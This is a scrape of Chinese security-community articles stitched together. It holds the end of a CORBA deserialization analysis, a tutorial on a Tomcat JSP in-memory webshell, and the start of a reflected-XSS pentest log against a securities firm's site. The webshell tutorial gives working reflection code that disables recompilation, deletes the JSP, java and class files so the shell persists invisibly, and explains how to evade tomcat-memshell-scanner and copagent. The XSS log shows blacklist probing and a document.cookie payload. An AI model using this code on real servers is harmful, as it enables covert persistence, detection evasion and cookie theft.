可以看到`CorbanameURL`的生成过程就是将`corbaname:`到`#`这段内容提取出来重新填充到`corbaloc:`后，也就是说最终与`orbd`通信所利用的协议仍然是`Corbaloc`，之后将`#`后的内容作为`rootnaming
context`的引用名。
接下里我们看一下处理流当中的相似点：
可以看到都是通过`getIORUsingCorbaloc()`方法来从`orbd`获取IOR的。而在`resolveCorbaname`中又在后续增加了和`NamingService`相同的操作。所以通过这两部分能看出具体通信使用的是`Corbaloc`。
## 3.2 rpc流程
通过上面的分析，我们大致知道了生成`Stub`的几种方式，其中有非常重要的一个方法`resolve_str()`完成了具体的rpc流程，接下来将详细的分析一下流程。
`resolve_str()`在客户端的具体实现逻辑在`org.omg.CosNaming._NamingContextExtStub`：
在红框所示的这两行代码中完成了rpc调用及反序列化流程，其主要完成了根据IOR完成通信初始化、发送请求、接受请求、反序列化等流程，接下来将一个一个详细的说明。
### 3.2.1 通信初始化
这一部分的功能实现在`_request()`方法中体现。通信初始化可以简单的表现在两个方面：
* `CorbaMessageMediator`初始化
* `OutputObject`初始化
具体跟进一下代码`_request()`的具体实现在`com.sun.corba.se.impl.protocol.CorbaDelegateImpl#request`：
这里可以看到首先设置了客户端调用信息，之后获取到`ClientRequestDispatcher`也就是客户端请求分派器并调用了`beginRequest()`方法，由于`beginRequest()`方法过于长，我将比较重要的代码直接截下来分析：
首先初始化拦截器，这里的拦截器主要负责拦截返回信息。
之后根据连接状态来确定是否需要新建`CorbaConnection`，由于是第一次进行通信，没有之前的链接缓存，所以需要创建`CorbaConnection`。在创建新链接后，就创建了`CorbaMessageMediator`，这是完成后续数据处理过程中重要的一环。
紧接着通过`CorbaMessageMediator`来创建`OutputObject`，这里其实创建的是一个`CDROutputObject`：
所以底层的数据是由`CDROutputObject`及`CDRInputObject`来处理的。这一点会在后面的反序列化中有所提及。
完成上述初始化过程后需要首先开启拦截器，以防止初始片段在消息初始化期间发送。
最后完成消息的初始化：
将序列化字符写入请求头中，完成消息的初始化，这里所调用的序列化是是`OutputStream`的原生序列化过程。
### 3.2.2 发送并接收请求
发送并接收请求主要是在`_invoke()`方法中完成的：
首先获取到客户端请求分派器，之后调用`marshlingComplete()`方法完成具体的处理流程：
这里涉及到两个关键的处理流程`marshalingComplete1()`及`processResponse()`。
#### marshalingComplete1流程
首先先看一下`marshalingComplete1()`流程：
`finishSendingRequest()`中完成了请求的发送：
可以看到获取了连接信息，将`OutputObject`进行发送。
`waitForResponse()`完成了等待返回接收返回的功能：
通过标志位来判断是否已经接收到了请求，如果接收到请求则把序列化内容进行返回：
#### processResponse流程
`processResponse`的具体实行流程很长，但是关键的运行逻辑只是如下的代码：
这里的`handleDIIReply`是需要着重说明一下，其中`DII`的全名是`Dynamic Invocation
Interface`也就是动态调用接口，这是CORBA调用的一种方式，既可以用`Stub`方式调用，也可以通过`DII`方式调用。目前我们所需要知道的是`handleDIIReply`就是用于处理CORBA调用返回的方法就好：
这里会判断调用的请求是否是`DII`请求，如果是，则会对返回结果及参数进行处理，触发反序列化流程，
**这一点属于`client`端的反序列化利用手法，后面会有文章进行总结，**目前只是将这一个关键单抛出来详细的说一下流程。
这里的`switch
case`就是判断我们前面所提过的IDL的三种参数传递方式，当参数传递方式为`out`和`inout`时将会调用`Any.read_value`方法：
在`TCUtility.unmarshalIn()`中有一个很长的`switch case`，会根据类型来将调用分发到不同的处理方法中，其中有两个链路：
以`read_value()`来举例：
可以看到`read_value()`在选择具体实现的时候是有分支选项的，这其实都可以通过构造来进行指定，这里我们只看`IDLJavaSerializationInputStream`：
会直接触发JDK原生反序列化。
也就是只要在`server`端精心构造打包结果，当`client`端发起`DII`的rpc请求处理请求返回时会触发JDK原生的反序列化流程。
### 3.2.3 反序列化流程
反序列化触发在`org.omg.CORBA.ObjectHelper#read()`方法中，最终是调用`CDRInputStream_1_0#read_Object`来处理，这里我只截关键点：
`createStubFactory()`会指定class的加载地址为提取出来的`codebase`：
可以看到具体的远程调用逻辑还是使用的RMI完成的。当完成远程类加载后便初始化`StubFactoryStaticImpl`：
这里会设定`stubClass`，后面会使用使用`makeStub()`方法完成实例化。
在完成了远程类加载后，就需要将远程的类变为常规的本地类，这一部分的工作是由`internalIORToObject()`方法完成的：
红框所示的两处最终的逻辑都一样，都是`stubFactory.makeStub()`:
我们在`createStubFactory()`中已经将完成远程类加载的类置为`stub`，在`makeStub()`方法中则完成将其进行实例化的操作，至此便完成了全部的rpc流程。
## 3.3 小结
通过上文对代码的跟踪，不难看出三端都是通过序列化数据来进行沟通的，都是`CDROutputObject`与`CDRInputObject`的具体实现。所以说`CDROutputObject`与`CDRInputObject`是CORBA数据的底层处理类，当在实际序列化/反序列化数据时，具体的处理流程大致可分为两类：
* `CDROutputStream_x_x`/`CDRInputStream_x_x`
* `IDLJavaSerializationOutputStream`/`IDLJavaSerializationInputStream`
这里可以将这两类简述为：
* CDR打/解包流程
* JDK serial 序列化/反序列化流程
可以看到只有在JDK serial流程中，才会触发CORBA的反序列化流程。CDR更多是用于完成rpc流程。
无论是在接收或者发送的流程中，我们都可以看到本质上都是底层数据（`CDROutputObject`或`CDRInputObject`）->`CorbaMessageMediator`的处理过程，具体的发送与接收请求都是通过`CorbaMessageMediator`来管控与拦截的，所以想要具体分析CORBA通信过程中请求的发送与接收方式，只需要以`CorbaMessageMediator`为入手点即可。
无论`client
side`还是`servant`在接收请求时基本上都是通过`com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl#read`或`com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl#doWork`处理请求到`com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl#dispatch`，后续会因为message类型的不同而进入到不同的处理逻辑中。在选取处理逻辑时主要凭借2点：
* header信息决定的版本
* message信息决定的具体类型
# 0x04 CORBA网络通信分析
纵观整个CORBA的通信流程，不难看出大致分为3个部分：
* 与`orbd`通信获取`NamingService`
* `servant side`注册
* rpc通信
在具体的流量中也可以清楚的看到整个过程。（由于我是在本地做的测试，所以在流量中的源地址和目的地址都是127.0.0.1）
这里的2条流量展现了与`orbd`通信获取`NamingService`的流程：
这里着重看一下返回包:
可以看到返回了`RootPOA`，且将`NameService`指向`orbd`处的NC0文件。
在获取到`NamingService`后，在`servant side`注册前，有如下两端流量：
这段流量对应的代码是：
主要的作用是用于检查获取到的`NamingService`是否是`NamingContextExt`的实现。
实现注册的流量如下:
`op=to_name`对应的代码是：
可以简单的理解为设定引用名。
`op=rebind`对应的代码是：
这一部分就是通过GIOP传输的CORBA接口的一部分，Wireshark可以将其解码，并将其协议类型标注为`COSNAMING`，具体来看一下请求包：
这里在IOR中我们注意到指定了：
* `type_id`：用于指定本次（资料库或者说是引用）注册的id（实际上是接口类型，就是用于表示接口的唯一标识符），用于实现类型安全。
* `Profile_host`、`Profile_port`：`servant side`地址。
* `Profile ID`：指定了`profile_data`中的内容，例如这里的`TAG_INTERNET_IOP`所指定的就是`IIOP Profile`。
通过IOR信息表示了`servant side`的相关rpc信息。
在rpc流程中的关键流量就是rpc调用，这里不再赘述获取`NamingService`的流量，直接看远程调用流量：
这里涉及到3.2中所说到的发送和接受请求的流程，想要了解详情可以回看这一部分的内容。简单来说可以把这一部分理解成如下流程：
* 根据引用名获取`servant side`的接口`Stub`。
* 利用`Stub`中的代理方法二次发起请求，通过发送方法名在`servant side`调用具体的方法，`servant side`将方法的结果返回给`client side`完成rpc调用。
# 0x05 检测方式
由于CORBA的数据传递与传统的序列化传输方式不同，即在二进制流中没有`ac ed 00
05`的标识，所以单纯从流量的角度是很难识别的，只能从流量上下文中进行识别。
通常可以从这两个角度来进行判断：
* 请求ip是否为白名单中的ip
* 是否存在外部ip向`orbd`发送`COSNAMING`请求
以weblogic为例，正常的CORBA交互模型应为白名单（业务）ip向weblogic（codebase或中间件）发送rpc请求，完成远程类加载，同时白名单ip处应该有缓存机制以防止频繁向weblogic发送GIOP请求。而恶意攻击者在尝试进行攻击时可能产生如下的反常动作：
* 非白名单ip向weblogic发送GIOP请求
* 非白名单ip向weblogic发送`COSNAMING`请求
* 白名单ip但是非开发机ip向weblogic发送`COSNAMING`请求
第一点就不赘述了，第二点和第三点解释一下。通过0x04中对流量的分析，我们知道当一个`servant
side`尝试向`orbd`注册新的引用时会产生`COSNAMING`类型的流量，那么`COSNAMING`类型的流量就可以作为一个判别注册的标志，如果是非权限区域（非开发机或者内部云平台）的机器尝试进行注册一个新的引用的话，就有可能标明存在攻击尝试。
当然这并不是一种非常准确且高效的检测方式，但是由于CORBA的特殊性，除非上RASP或者在终端agent上加行为检测规则，想要单纯的通过镜像流量做到监测，是非常难的。
Reference
1. <http://weinan.io/2017/05/03/corba-iiop.html>
2. <https://docs.oracle.com/javase/7/docs/technotes/guides/rmi-iiop/tutorial.html#7738>
3. <https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html>
4. <https://www.omg.org/corba/faq.htm>
5. <https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture>
* * * | 社区文章 |
## 前言
最近在研究webshell免杀的问题，到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多，不太容易实现免杀，比如有些工具会将所有注册的`Servlet`和`Filter`拿出来，排查人员仔细一点还是会被查出来的，所以
**我们要找一些其他方式实现的内存马。比如我今天提到的JSP的内存马（虽然本质上也是一种Servlet类型的马）** 。
## JSP加载流程分析
在Tomcat中`jsp`和`jspx`都会交给`JspServlet`处理，所以要想实现`JSP`驻留内存，首先得分析`JspServlet`的处理逻辑。
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
...
</servlet>
...
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
下面分析`JspServlet#service`方法，主要的功能是接收请求的URL，判断是否预编译，核心的方法是`serviceJspFile`。
public void service (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String jspUri = jspFile;
jspUri = (String) request.getAttribute(
RequestDispatcher.INCLUDE_SERVLET_PATH);
if (jspUri != null) {
//检查请求是否是通过其他Servlet转发过来的
String pathInfo = (String) request.getAttribute(
RequestDispatcher.INCLUDE_PATH_INFO);
if (pathInfo != null) {
jspUri += pathInfo;
}
} else {
//获取ServletPath和pathInfo作为jspUri
jspUri = request.getServletPath();
String pathInfo = request.getPathInfo();
if (pathInfo != null) {
jspUri += pathInfo;
}
}
}
try {
//是否预编译
boolean precompile = preCompile(request);
//核心方法
serviceJspFile(request, response, jspUri, precompile);
} catch (RuntimeException | IOException | ServletException e) {
throw e;
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
throw new ServletException(e);
}
}
`preCompile`中只有当请求参数以`jsp_precompile`开始才会进行预编译，否则不进行预编译。
boolean preCompile(HttpServletRequest request) throws ServletException {
String queryString = request.getQueryString();
if (queryString == null) {
return false;
}
// public static final String PRECOMPILE = System.getProperty("org.apache.jasper.Constants.PRECOMPILE", "jsp_precompile");
int start = queryString.indexOf(Constants.PRECOMPILE);
if (start < 0) {
return false;
}
queryString =
queryString.substring(start + Constants.PRECOMPILE.length());
if (queryString.length() == 0) {
return true; // ?jsp_precompile
}
if (queryString.startsWith("&")) {
return true; // ?jsp_precompile&foo=bar...
}
if (!queryString.startsWith("=")) {
return false; // part of some other name or value
}
...
}
那么预编译的作用是什么？当进行预编译后会怎么样？答案在`JspServletWrapper#service`中，当预编译后，请求便不会调用对应JSP的servlet的service方法进行处理，所以要想让我们的JSP能正常使用，当然是不要预编译的，默认情况下也不会预编译。
public void service(HttpServletRequest request,
HttpServletResponse response,
boolean precompile)
throws ServletException, IOException, FileNotFoundException {
Servlet servlet;
...
// If a page is to be precompiled only, return.
if (precompile) {
return;
...
/*
* (4) Service request
*/
if (servlet instanceof SingleThreadModel) {
// sync on the wrapper so that the freshness
// of the page is determined right before servicing
synchronized (this) {
``.service(request, response);
}
} else {
servlet.service(request, response);
}
...
下面再来看`serviceJspFile`方法，该方法判断JSP是否已经被注册为一个Servlet，不存在则创建JspServletWrapper并put到`JspRuntimeContext`中，`JspServletWrapper.service`是核心方法。
private void serviceJspFile(HttpServletRequest request,
HttpServletResponse response, String jspUri,
boolean precompile)
throws ServletException, IOException {
// 首先判断JSP是否已经被注册为一个Servlet，ServletWrapper是Servlet的包装类，所有注册的JSP servlet都会被保存在JspRuntimeContext的jsps属性中，如果我们第一次请求这个JSP，当然是找不到wrapper的。
JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
synchronized(this) {
wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
//检查JSP文件是否存在
if (null == context.getResource(jspUri)) {
handleMissingResource(request, response, jspUri);
return;
}
//创建JspServletWrapper
wrapper = new JspServletWrapper(config, options, jspUri,
rctxt);
//添加wrapper到JspRuntimeContext的jsps属性中
rctxt.addWrapper(jspUri,wrapper);
}
}
}
try {
//核心方法
wrapper.service(request, response, precompile);
} catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
}
}
`JspServletWrapper.service`主要做了如下操作。
* 根据jsp生成java文件并编译为class
* 将class文件注册为servlet
* 调用`servlet.service`方法完成调用
JSP生成java和class文件主要由下面的代码完成，这里的`options.getDevelopment()`代表的是部署模式。
tomcat的开发模式和生产模式的设定是通过conf文件夹下面的web.xml文件来配置的。
>
> 在开发模式下，容器会经常检查jsp文件的时间戳来决定是否进行编译，如果jsp文件的时间戳比对应的.class文件的时间戳晚就证明jsp又进行了修改，需要再次编译，但是不断地进行时间戳的比对开销很大，会影响系统性能，而在生产模式下系统不会经常想的检查时间戳。所以一般在开发过程中使用开发模式，这样可以在jsp修改后再次访问就可以见到修改后的效果非常方便，而系统上线之后就要改为生产模式，虽然生产模式下会导致jsp的修改需要重启服务器才可以生效，但是上线后的改动较少而且性能很重要。
默认Tomcat是以开发模式运行的。一般我们遇到的Tomcat都是以开发模式运行的，所以会由`JspCompilationContext#compile`进行编译。
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
ctxt.compile();
mustCompile = false;
}
}
} else {
if (compileException != null) {
// Throw cached compilation exception
throw compileException;
}
}
下面我们看下编译部分都做了什么，Tomcat默认使用`JDTCompiler`编译，首先通过`isOutDated`判断是否需要编译，再去检查JSP文件是否存在，删除原有的java和Class文件，通过`jspCompiler.compile()`编译。
public void compile() throws JasperException, FileNotFoundException {
//获取编译器，默认使用JDTCompiler编译
createCompiler();
//通过isOutDated决定是否编译
if (jspCompiler.isOutDated()) {
if (isRemoved()) {
throw new FileNotFoundException(jspUri);
}
try {
//删除已经生成的java和Class文件
jspCompiler.removeGeneratedFiles();
jspLoader = null;
//编译
jspCompiler.compile();
jsw.setReload(true);
jsw.setCompilationException(null);
...
}
下面我们分析如何将生成的class文件注册为Servlet。首先判断`theServlet`是否为空，如果为空则表示还没有为JSP文件创建过Servlet，则通过`InstanceManager.newInstance`创建Servlet,并将创建的Servlet保存在`theServlet`属性中。
public Servlet getServlet() throws ServletException {
// getReloadInternal是否Reload默认为False，也就是说如果theServlet为true就会直接返回。
if (getReloadInternal() || theServlet == null) {
synchronized (this) {
if (getReloadInternal() || theServlet == null) {
//如果theServlet中有值则销毁该Servlet.
destroy();
final Servlet servlet;
try {
//创建Servlet实例
InstanceManager instanceManager = InstanceManagerFactory.getInstanceManager(config);
servlet = (Servlet) instanceManager.newInstance(ctxt.getFQCN(), ctxt.getJspLoader());
} catch (Exception e) {
Throwable t = ExceptionUtils
.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(t);
throw new JasperException(t);
}
//初始化servlet
servlet.init(config);
if (theServlet != null) {
ctxt.getRuntimeContext().incrementJspReloadCount();
}
//将servlet保存到theServlet中，theServlet由volatile修饰，在线程之间可以共享。
theServlet = servlet;
reload = false;
}
}
}
return theServlet;
}
下面有一个小知识点，`theServlet`是由`volatile`修饰的，在不同的线程之间可以共享，再通过`synchronized
(this)`加锁，也就是说无论我们请求多少次，无论是哪个线程处理，只要`this`是一个值，那么`theServlet`属性的值是一样的，而`this`就是当前的`jspServletWrapper`，我们访问不同的JSP也是由不同的`jspServletWrapper`处理的。
最后就是调用`servlet.service`方法完成请求处理。
## 内存驻留分析
上面我们已经分析完了JSP的处理逻辑，要想要完成内存驻留，我们要解决下面的问题。
* 请求后不去检查JSP文件是否存在
* theServlet中一直保存着我们的servlet，当我们请求对应url还能交给我们的servlet处理
第二个问题比较容易，`theServlet`能否获取到Servlet或者获取到哪个Servlet和`jspServletWrapper`是有关的，而在`JspServlet#serviceJspFile`中，如果我们已经将Servlet注册过，可以根据url从`JspRuntimeContext`中获取得到对应的`jspServletWrapper`。
private void serviceJspFile(HttpServletRequest request,
HttpServletResponse response, String jspUri,
boolean precompile)
throws ServletException, IOException {
JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
...
}
try {
wrapper.service(request, response, precompile);
} catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
}
}
### 绕过方法一
下面解决`请求后不去检查JSP文件是否存在`问题，首先我想绕过下面的判断,如果我们能让`options.getDevelopment()`返回false就不会进入`complie`部分。
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
// The following sets reload to true, if necessary
ctxt.compile();
mustCompile = false;
}
}
}
`development`并不是一个`static`属性，所以不能直接修改，要拿到`options`的对象。
private boolean development = true;
`options`对象被存储在`JspServlet`中，
public class JspServlet extends HttpServlet implements PeriodicEventListener {
...
private transient Options options;
`MappingData`中保存了路由匹配的结果,`MappingData`的`wrapper`字段包含处理请求的`wrapper`，在Tomcat中，`Wrapper`代表一个Servlet，它负责管理一个
Servlet，包括的
Servlet的装载、初始化、执行以及资源回收。在`Wrapper`的`instance`属性中保存着`servlet`的实例，因此我们可以从`MappingData`中拿到`JspServlet`进而更改`options`的`development`属性值。
public class MappingData {
public Host host = null;
public Context context = null;
public int contextSlashCount = 0;
public Context[] contexts = null;
public Wrapper wrapper = null;
public boolean jspWildCard = false;
}
所以我们可以通过反射对`development`的属性修改，下面代码参考[Tomcat容器攻防笔记之JSP金蝉脱壳](https://www.anquanke.com/post/id/224698)
<%
//从request对象中获取request属性
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
//获取MappingData
MappingData mappingData = req.getMappingData();
//获取Wrapper
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
//获取jspServlet对象
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
//获取options中保存的对象
Field Option = jspServlet.getClass().getDeclaredField("options");
Option.setAccessible(true);
EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
//设置development属性为false
Field Developent = op.getClass().getDeclaredField("development");
Developent.setAccessible(true);
Developent.set(op,false);
%>
既然已经分析好了，我们做一个测试， **当我们第二次请求我们的脚本**`development`
**的属性值已经被改为false,即使我们删除对应的**`jsp\java\Class` **文件，仍然还可以还可以正常请求shell。**
**那么经过修改后会不会导致后来上传的jsp文件都无法执行的问题呢？**
不会，因为每一个JSP文件，只有已经编译并且注册为Servlet后，`mustCompile`属性才会为False，默认为True，并且`mustCompile`也是由`volatile`修饰并且在`synchronized`加锁的代码块中，只有同一个`jspServletWrapper`的`mustCompile`的修改在下次请求时还有效。当然也不是说完全没有影响，
**如果我们想修改一个已经加载为**`Servlet` **的JSP文件，即使修改了也不会生效。**
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
ctxt.compile();
mustCompile = false;
}
}
### 绕过方法二
下一个我们有机会绕过的点在compile中，如果我们能让`isOutDated`返回false，也可以达到绕过的目的。
public void compile() throws JasperException, FileNotFoundException {
createCompiler();
if (jspCompiler.isOutDated()) {
...
}
}
注意看下面的代码,在`isOutDated`中，当满足下面的条件则会返回false。`jsw`中保存的是`jspServletWarpper`对象，所以是不为null的，并且`modificationTestInterval`默认值是4也满足条件，所以我们现在要做的就是让`modificationTestInterval*1000`大于`System.currentTimeMillis()`,所以
**只要将**`**modificationTestInterval**` **修改为一个比较大的值也可以达到绕过的目的。**
public boolean isOutDated(boolean checkClass) {
if (jsw != null
&& (ctxt.getOptions().getModificationTestInterval() > 0)) {
if (jsw.getLastModificationTest()
+ (ctxt.getOptions().getModificationTestInterval() * 1000) > System.currentTimeMillis()) {
return false;
}
}
`modificationTestInterval`也保存在`options`属性中，所以修改的方法和方法一类似，就不罗列代码了。
public final class EmbeddedServletOptions implements Options {
...
private int modificationTestInterval = 4;
...
}
## 查杀情况分析
### tomcat-memshell-scanner
这款工具会Dump出所有保存在`servletMappings`中的`Servlet`的信息，不过我们的JSPServlet并没有保存在`servletMappings`中，而是在`JspRuntimeContext#jsps`字段中，因此根本查不到。
### copagent
JSP本质上也就是`Servlet`，编译好的Class继承了`HttpJspBase`，类图如下所示。
#### copagent流程分析
`copagent`首先获取所有已经加载的类，并创建了几个数组。
* `riskSuperClassesName`中保存了`HttpServlet`，用于获取Servlet，因为我们注册的Servlet会直接或者间接继承`HttpServlet`
* `riskPackage`保存了一些恶意的包名，比如冰蝎的包名为`net.rebeyond`，使用冰蝎连接webshell时会将自己的恶意类加载到内存，而这个恶意类也是以`net.rebeyond`为包名的
* `riskAnnotations`保存了SpringMVC中注解注册Controller的类型，显然是为了抓出所有SpringMVC中通过注解注册的Controller
private static synchronized void catchThief(String name, Instrumentation ins){
...
List<Class<?>> resultClasses = new ArrayList<Class<?>>();
// 获得所有已加载的类及类名
Class<?>[] loadedClasses = ins.getAllLoadedClasses();
LogUtils.logit("Found All Loaded Classes : " + loadedClasses.length);
List<String> loadedClassesNames = new ArrayList<String>();
for(Class<?> cls: loadedClasses){
loadedClassesNames.add(cls.getName());
}
...
// 实现的可能具有 web shell 功能的父类名
List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");
// 黑名单拦截
List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");
// 风险注解
List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
riskAnnotations.add("org.springframework.web.bind.annotation.RestController"); riskAnnotations.add("org.springframework.web.bind.annotation.RequestMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.GetMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.PostMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.PatchMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.PutMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.Mapping");
...
下面代码完成主要的检测逻辑，首先会检测包名和SpringMVC注解的类，检测到则添加到`resultClasses`中，并且修改`not_found`标志位为False，表示不检测`Servelt/Filter/Listener`类型的shell。
for(Class<?> clazz: loadedClasses){
Class<?> target = clazz;
boolean not_found = true;
//检测包名是否为恶意包名，如果是则设置not_found为false，代表已经被shell连接过了，跳过后面Servlet和Filter内存马部分的检测并Dump出恶意类的信息。
for(String packageName: riskPackage){
if(clazz.getName().startsWith(packageName)){
resultClasses.add(clazz);
not_found = false;
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode()));
break;
}
}
//判断是否使用SpringMVC的注解注册Controller，如果是则Dump出使用注解的Controller的类的信息
if(ClassUtils.isUseAnnotations(clazz, riskAnnotations)){
resultClasses.add(clazz);
not_found = false;
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode()));
}
//检测Servelt/Filter/Listener类型Webshell
if(not_found){
// 递归查找
while (target != null && !target.getName().equals("java.lang.Object")){
// 每次都重新获得目标类实现的所有接口
interfaces = new ArrayList<String>();
for(Class<?> cls: target.getInterfaces()){
interfaces.add(cls.getName());
}
if( // 继承危险父类的目标类
(target.getSuperclass() != null && riskSuperClassesName.contains(target.getSuperclass().getName())) ||
// 实现特殊接口的目标类
target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||
interfaces.contains("javax.servlet.Filter") ||
interfaces.contains("javax.servlet.Servlet") ||
interfaces.contains("javax.servlet.ServletRequestListener")
)
{
...
if(loadedClassesNames.contains(clazz.getName())){
resultClasses.add(clazz);
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode()));
}else{
...
}
break;
}
target = target.getSuperclass();
}
}
我们主要关注`Servlet`的检测，首先获取当前Class的实现接口，如果Class的父类不为空并且父类不是`HttpServlet`，并且没有实现`Serlvet\Filter\ServletRequestListener`等接口则不会被添加到`resultClasses`但会递归的去检查父类。由于JSP文件实际继承了`HttpJspBase`，相当于间接继承了`HttpServlet`，所以是绕不过这里的检查的，不过没关系，这一步只是检查是否是Servlet，并不代表被检测出来了。
while (target != null && !target.getName().equals("java.lang.Object")){
// 每次都重新获得目标类实现的所有接口
interfaces = new ArrayList<String>();
for(Class<?> cls: target.getInterfaces()){
interfaces.add(cls.getName());
}
if( // 继承危险父类的目标类
(target.getSuperclass() != null && riskSuperClassesName.contains(target.getSuperclass().getName())) ||
// 实现特殊接口的目标类
target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||interfaces.contains("javax.servlet.Filter") ||interfaces.contains("javax.servlet.Servlet") ||interfaces.contains("javax.servlet.ServletRequestListener")
)
{
if(loadedClassesNames.contains(clazz.getName())){
resultClasses.add(clazz);
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode()));
}else{
LogUtils.logit("cannot find " + clazz.getName() + " classes in instrumentation");
}
break;
...
}
target = target.getSuperclass();
}
下面是判断是否为恶意内容的核心，只有当`resultClasses`中包含了关键下面的关键字才会被标记为high，这里如果我们使用自定义马的话也是可以绕过的，但是如果要使用冰蝎,一定会被`javax.crypto.`加密包的规则检测到，如果是自定义加密算法也是可以绕过的。
List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");
...
for(Class<?> clazz: resultClasses){
File dumpPath = PathUtils.getStorePath(clazz, false);
String level = "normal";
String content = PathUtils.getFileContent(dumpPath);
for(String keyword: riskKeyword){
if(content.contains(keyword)){
level = "high";
break;
}
}
## 自删除
上面只是分析了如何让我们的JSP在删除了`JSP\java\Class`文件后还能访问，下面我们分析如何在`JSP`中实现删除`JSP\java\Class`文件，在`JspCompilationContext`保存着JSP编译的上下文信息，我们可以从中拿到`java/class`的绝对路径。
而`JspCompilationContext`对象保存在`JspServletWrapper`中，所以要先获取`JspServletWrapper`。
public JspServletWrapper(ServletConfig config, Options options,
String jspUri, JspRuntimeContext rctxt) {
...
ctxt = new JspCompilationContext(jspUri, options,
config.getServletContext(),
this, rctxt);
}
`request.request.getMappingData().wrapper.instance.rctxt.jsps.get("/jsp.jsp")`
下面是代码实现
<%
//从request对象中获取request属性
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
//获取MappingData
MappingData mappingData = req.getMappingData();
//获取Wrapper，这里的Wrapper是StandrardWrapper
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
//获取jspServlet对象
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
//获取rctxt属性
Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");
rctxt.setAccessible(true);
JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
//获取jsps属性内容
Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");
jspsF.setAccessible(true);
ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
//获取对应的JspServletWrapper
JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());
//获取ctxt属性保存的JspCompilationContext对象
Field ctxt = jsw.getClass().getDeclaredField("ctxt");
ctxt.setAccessible(true);
JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw);
File targetFile;
targetFile = new File(jspCompContext.getClassFileName());//删掉jsp的.class
targetFile.delete();
targetFile = new File(jspCompContext.getServletJavaFileName());//删掉jsp的java文件
targetFile.delete();
//删除JSP文件
String __jspName = this.getClass().getSimpleName().replaceAll("_", ".");
String path=application.getRealPath(__jspName);
File file = new File(path);
file.delete();
%>
最后有个不兼容的小BUG，tomcat7和8/9的`MappingData`类包名发生了变化
tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>
## 总结
虽然不能使用冰蝎等webshell绕过这两款工具的检测，但是当我们了解了查杀原理，将自己的webshell稍微改一下，也是可以绕过的，最后这篇文章来自于参考[Tomcat容器攻防笔记之JSP金蝉脱壳](https://www.anquanke.com/post/id/224698)文章的实践，感谢前辈。 | 社区文章 |
对某证券集团网站进行渗透测试时，在反射型XSS高发区——搜索处进行检测。
# **\- 回显点确认**
搜索任意字符串，检查元素：
那就直接闭合DIV试试：
闭合成功，但注意到仍然搜索到两篇文章。猜测有无害性检测，用了自定义的黑名单。
# **\- 黑名单排查**
检测语句：
?keyword=</div><script>alert(1)</script><div>
检测结果：不通过，直接不返回HTTP响应包。
后经逐一排查，script与alert两单词均在黑名单（大小写无关）
检测语句：?keyword=<img/src="site"%2bdocument.cookie>
